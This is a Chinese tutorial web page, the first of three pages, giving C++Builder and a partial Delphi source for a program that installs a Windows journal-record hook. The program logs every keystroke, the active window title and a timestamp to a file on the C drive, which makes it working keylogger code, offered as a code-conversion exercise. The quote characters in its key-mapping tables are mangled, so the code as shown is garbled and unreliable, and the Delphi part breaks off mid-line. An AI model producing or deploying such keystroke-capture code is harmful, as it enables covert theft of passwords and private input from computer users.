转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> Delphi程序 >> 正文
用日志钩子来实现键盘钩子功能之delphi/bcb版本         ★★★★

用日志钩子来实现键盘钩子功能之delphi/bcb版本

作者:闵涛 文章来源:闵涛的学习笔记 点击数:3207 更新时间:2009/4/23 18:26:22

在论坛上发的请求终于有人帮忙解决了,最近总尝试着把delphi代码和bcb代码互转,希望通过这样,能够对delphi

比较熟些些.

/bcb版本/

/---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include <stdio.h>

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook=NULL;
HWND g_hLastFocus=NULL;
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
LRESULT CALLBACK JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子

}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子

}
//---------------------------------------------------------------------------
LRESULT CALLBACK JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i; HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfile.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now())
.c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey>=65 && vKey<=90) // A-Z a-z
{if (!bCapital)
if (bShift) ch=vKey ;
else ch=vKey+32 ;
else if (bShift) ch=vKey+32;
else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey>=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey) {
case 186:
if (!bShift) ch='''';'''' ;
else ch='''':'''';
break;
case 187:
if (!bShift) ch=''''='''' ;
else ch=''''+'''' ;
break;
case 188:
if (!bShift) ch='''','''';
else ch=''''<'''' ;
break;
case 189:
if (!bShift) ch=''''-'''' ;
else ch=''''_'''' ;
break;
case 190:
if (!bShift) ch=''''.'''' ;
else ch=''''>'''' ;
break;
case 191:
if (!bShift) ch=''''/'''' ;
else ch=''''?'''' ;
break;
case 192:if (!bShift) ch=''''`''''; else ch=''''~'''' ;break;
case 219:if (!bShift) ch=''''['''' ; else ch=''''{'''' ;break;
case 220:if (!bShift) ch=''''\\'''' ; else ch=''''|'''' ;break;
case 221:if (!bShift) ch='''']'''' ; else ch=''''}'''' ;break;
case 222:if (!bShift) ch=''''/'''';  else ch=''''\''''''''; break;
default:ch=''''n'''' ;break;
}
if (ch!=''''n'''') fprintf(stream,"%c",ch); } //
if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey>=8 && vKey<=46) //方向键
{switch (vKey) {
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch=''''n'''' ;break;
}
if (ch!=''''n'''' )
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str); g_PrvChar=vKey;
}
}
}
}
if (pEvt->message==WM_LBUTTONDOWN ||pEvt->message==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}
}
 

//-----------------------------------------------delphi版本--------------------------------------------------------------

//-----------------------------------------------------
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

  g_hLogHook : HHook;
  g_hLastFocus : HWND;
  g_PrvChar: char;

implementation

{$R *.dfm}

const
  KeyPressMask=$80000000;


function JournalLogProc(iCode: Integer;wParam:WPARAM;lParam:LPARAM): Integer;stdcall;
var
  evt: PEVENTMSG;
  i : Integer;
  hFocus : HWND;
  szTitle : array[0..255] of char;
  szTime : array[0..127] of char;
  vKey : Integer;
  ch : char;
  str: array[0..9] of char;
  txt: TextFile;
  iShift,iCapital,iNumLock : Integer;
  bShift,bCapital,bNumLock : Boolean;

begin
  if iCode<0 then begin
    Result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
    Exit;
  end;
  if iCode=HC_ACTION then begin
    evt:=PEVENTMSG(lParam);
    AssignFile(txt,''''c:\logfile.txt'''');
    if not fileexists(''''c:\logfile.txt'''') then
      ReWrite(txt)
    else
      Append(txt);
    if evt^.message=WM_KEYDOWN then begin
      vKey:=LoByte(evt^.paramL);
      hFocus := GetActiveWindow();
      if g_hLastFocus<> hFocus then begin
        GetWindowText(hFocus,szTitle,256);
        g_hLastFocus:= hFocus;
        strcopy(szTime,Pchar(DateTimeToStr(now)));
        write(txt,#10,szTime,#32,#32,szTitle);
        write(txt,#32,#32);
      end;
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);

      bShift := (iShift and KeyPressMask)=KeyPressMask;
      bCapital := (iCapital and 1)=1;
      bNumLock := (iNumLock and 1)=1;

      if (vKey >=48) and (vkey<=57) then begin
        if not bShift then
          write(txt,chr(vKey));
      end;

      if (vKey>=65) and (vKey<=90) then begin
        if not bCapital then begin
          if bShift then
            ch:=chr(vKey)
          else
            ch:=chr(vKey+32);
        end
        else begin
          if bShift then
            ch:=chr(vKey+32)
          else
            ch:= chr

[1] [2] [3]  下一页


[Delphi程序]Delphi(BCB)中编译器版本宏定义  [Delphi程序]如何用Tprinter设计BCB操作数据库程序中的报表
[Delphi程序]Delphi&BCB一线程序员开发经验  [Web开发]ADO多表更新BCB實現
[Sql Server]BCB 6 sp4 + SQL Server 2k 存取JPEG图像,绝对好…  
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台